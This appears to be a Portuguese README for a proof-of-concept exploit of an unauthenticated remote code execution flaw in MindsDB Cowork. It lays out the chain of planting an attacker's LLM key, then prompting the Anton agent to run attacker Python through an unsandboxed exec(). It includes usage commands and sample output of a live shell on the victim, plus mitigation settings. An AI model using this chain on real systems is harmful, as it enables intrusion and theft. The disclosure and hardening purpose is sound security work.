
Exploit de PoC para CVE-2026-73678: RCE não autenticado no MindsDB Cowork por meio de chave de LLM fornecida pelo atacante e execução de scratchpad sem sandbox para executar comandos do sistema operacional.
PoC para CVE-2026-73678 (CVSS 3.1 10.0 Crítico, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Artigo completo: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
O sidecar FastAPI cowork-server do Cowork expõe /api/v1/ sem autenticação
(CWE-306), o CORS allow_origins=["*"] (CWE-942), e a ferramenta scratchpad
do agente Anton executa Python gerado por LLM por meio de um exec() bruto, sem
sandbox (CWE-94).
Cadeia: insira a chave de LLM do próprio atacante via PUT /api/v1/settings/* → POST /api/v1/responses/
com um prompt que faz o agente executar o código do atacante no scratchpad → execução arbitrária
de comandos do SO como o usuário que executa o aplicativo.
Adaptado do PoC no advisory GHSA-jcxw-h8ph-pxpv da MindsDB (crédito: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# contra uma instância local de desenvolvimento (make dev-web)
python3 shell.py AIzaSy... gemini
# alvo explícito + modelo
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
O trecho gerado calcula os.urandom(4).hex() dentro do processo da vítima
e o grava em /tmp/RCE_PROOF.txt. O prompt informa ao modelo que ele não pode
saber o nonce sem executar. Se o texto retornado contém um nonce correspondente
ao arquivo no disco, o código comprovadamente foi executado — um modelo com
alucinações não consegue produzi-lo.
export COWORK_REQUIRE_AUTH=true # a autenticação existe, mas vem desativada por padrão
export COWORK_AUTH_TOKEN="<long-random>" # ou deixe que seja gerada automaticamente
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# nunca defina COWORK_SERVER_HOST para além de 127.0.0.1; rotacione todos os segredos acessíveis
# pela conta que executou o aplicativo
Não existe tag de release com a correção; as correções estão apenas nos branches main de cowork-server/anton.
Somente para testes de segurança e pesquisa autorizados. Não execute contra sistemas que você não possua ou para os quais não tenha permissão explícita para testar.